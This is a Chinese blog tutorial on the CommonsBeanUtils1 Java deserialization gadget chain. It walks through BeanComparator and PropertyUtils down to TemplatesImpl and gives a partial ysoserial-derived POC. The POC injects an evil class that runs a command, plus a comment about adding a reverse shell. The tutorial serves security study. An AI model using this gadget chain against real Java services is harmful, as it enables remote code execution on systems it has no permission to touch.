环境准备
JDK1.8(8u421) JDK8的版本应该都没什么影响,这里直接以我的镜像为准了、commons-beanutils:commons-beanutils:1.9.2、commons-collections:commons-collections:3.2、javassist:javassist:3.12.0.GA
mvn中加入以下依赖:
commons-collections
commons-collections
3.2
javassist
javassist
3.12.1.GA
commons-beanutils
commons-beanutils
1.9.1
正文
CB链用到了CC2中的TemplatesImpl
的内容,如果你对CC2链不太熟悉,可以先看一下这个:https://www.cnblogs.com/erosion2020/p/18553815
当你知道CC2中的攻击链的构成之后,你学CB链就会非常轻松,CB链也可以说是CC2链的一个变种,只是反序列化的点换成了commons-beanutils
中的另一个类,也就是BeanComparator
,下边来解释一下这个类是怎么触发TemplatesImpl
的。
BeanComparator
BeanComparator
是 Java 中常见的一个类,通常用于在集合中对 Java Bean 对象进行比较排序。它实现了 Comparator
接口,目的是根据对象的某个或多个属性进行排序。在一些框架中(如 Apache Commons BeanUtils 或类似的工具库),BeanComparator
是一种常见的比较器实现,简化了比较操作,尤其是当比较的对象是 Java Bean 时。
基本作用
- 通过指定的属性进行排序:它根据给定的 Java Bean 的某个属性值进行排序。比如,如果有一个
Person
类,它有name
和age
属性,可以使用BeanComparator
来根据name
或age
进行升序或降序排序。 - 灵活性:
BeanComparator
可以指定一个或多个属性进行排序,支持更复杂的排序逻辑。通过利用 Java 反射,BeanComparator
能够获取 Bean 的属性值并进行比较。
可以指定一个或多个属性进行排序,支持更复杂的排序逻辑这一句话是非常重要的,正是因为BeanComparator可以通过字段属性排序,所以导致了攻击链的触发。
代码分析
public class BeanComparator implements Comparator, Serializable {
// 属性字段
private String property;
// 内部封装了一个Comparator比较器
private final Comparator> comparator;
// 调用compare比较两个对象的值
public int compare(T o1, T o2) {
......
// PropertyUtils.getProperty是重点方法
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
.......
}
}
PropertyUtils.getProperty(Object bean, String name) {
// 关注这个getProperty方法
return PropertyUtilsBean.getInstance().getProperty(bean, name);
}
// 会执行到这个方法
public Object getProperty(Object bean, String name) {
return this.getNestedProperty(bean, name);
}
public Object getNestedProperty(Object bean, String name) {
......
if (bean instanceof Map) {
bean = this.getPropertyOfMapBean((Map)bean, name);
} else if (this.resolver.isMapped(name)) {
bean = this.getMappedProperty(bean, name);
} else if (this.resolver.isIndexed(name)) {
bean = this.getIndexedProperty(bean, name);
} else {
// 重点关注这个方法,如果bean是我们构造的TemplatesImpl对象,则会触发这个方法
bean = this.getSimpleProperty(bean, name);
}
......
return bean;
}
// 这是最终触发调用链代码的方法
public Object getSimpleProperty(Object bean, String name) {
// getPropertyDescriptor可以理解为获取bean这个对象中的所有属性字段,如果这个字段存在getter方法,也会获取到
// 假设bean中存在info字段以及getInfo方法,则PropertyDescriptor中的字段信息如下:
// name字段为info
// readMethodName字段为getOutputProperties
PropertyDescriptor descriptor = this.getPropertyDescriptor(bean, name);
if (descriptor == null) {
throw new NoSuchMethodException("Unknown property '" + name + "' on class '" + bean.getClass() + "'");
} else {
// 在这里获取到了readMethodName所对应的Method对象
Method readMethod = this.getReadMethod(bean.getClass(), descriptor);
if (readMethod == null) {
throw new NoSuchMethodException("Property '" + name + "' has no getter method in class '" + bean.getClass() + "'");
} else {
// 执行Method
// 如果这里的Method是我们精心构造的TemplatesImpl的getOutputProperties,那么我们的攻击链代码就可以被触发
Object value = this.invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
return value;
}
}
}
所以理清上边的思路之后,我们现在要做的事情就是构造一个TemplatesImpl对象,然后创建一个BeanComparator,把其中的property设置为TemplatesImpl的outputProperties字段,然后在触发了BeanComparator的compare方法时,如果
POC(基于ysoserial)
老规矩,这个还是ysoserial的代码拿过来改了,没有调用ysoserial中的工具类,不依赖工具库可以直接本地调试运行。
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.PriorityQueue;
public class CommonsBeanUtils1 {
static String serialFileName = "commons-bean-utils1.ser";
public static void main(String[] args) throws Exception {
// cb1bySerial();
verify();
}
public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
}
public static void cb1bySerial() throws Exception {
//==========================CC2中的构造Templates的内容 START==========================
String executeCode = "Runtime.getRuntime().exec("cmd /c start");";
ClassPool pool = ClassPool.getDefault();
CtClass evil = pool.makeClass("ysoserial.Evil");
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
evil.makeClassInitializer().insertAfter(executeCode);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
evil.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(AbstractTranslet.class.getName());
evil.setSuperclass(superC);
final byte[] classBytes = evil.toBytecode();
byte[][] trueclassbyte = new byte[][]{classBytes};
Class templatesClass = TemplatesImpl.class;
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, trueclassbyte);
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "Pwnr");
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
//==========================CB1链触发点 START==========================
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue
运行
尝试运行代码,来弹个cmd
调用链
调用链如下
- PriorityQueue.readObject()
- PriorityQueue.heapify()
- PriorityQueue.siftDown()
- PriorityQueue.siftDownUsingComparator()
- BeanComparator.compare()
- PropertyUtils.getProperty()
- PropertyUtilsBean.getProperty()
- PropertyUtilsBean.getNestedProperty()
- PropertyUtilsBean.getSimpleProperty()
- PropertyUtilsBean.getPropertyDescriptor()
- PropertyUtilsBean.getReadMethod()
- PropertyUtilsBean.invokeMethod()
- TemplatesImpl.getOutputProperties()
- TemplatesImpl.newTransformer()
- TemplatesImpl.getTransletInstance()
- TemplatesImpl.defineTransletClasses()
- (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance()
- PriorityQueue.siftDownUsingComparator()
- PriorityQueue.siftDown()
- PriorityQueue.heapify()
1.本站内容仅供参考,不作为任何法律依据。用户在使用本站内容时,应自行判断其真实性、准确性和完整性,并承担相应风险。
2.本站部分内容来源于互联网,仅用于交流学习研究知识,若侵犯了您的合法权益,请及时邮件或站内私信与本站联系,我们将尽快予以处理。
3.本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
4.根据《计算机软件保护条例》第十七条规定“为了学习和研究软件内含的设计思想和原理,通过安装、显示、传输或者存储软件等方式使用软件的,可以不经软件著作权人许可,不向其支付报酬。”您需知晓本站所有内容资源均来源于网络,仅供用户交流学习与研究使用,版权归属原版权方所有,版权争议与本站无关,用户本人下载后不能用作商业或非法用途,需在24个小时之内从您的电脑中彻底删除上述内容,否则后果均由用户承担责任;如果您访问和下载此文件,表示您同意只将此文件用于参考、学习而非其他用途,否则一切后果请您自行承担,如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。
5.本站是非经营性个人站点,所有软件信息均来自网络,所有资源仅供学习参考研究目的,并不贩卖软件,不存在任何商业目的及用途
暂无评论内容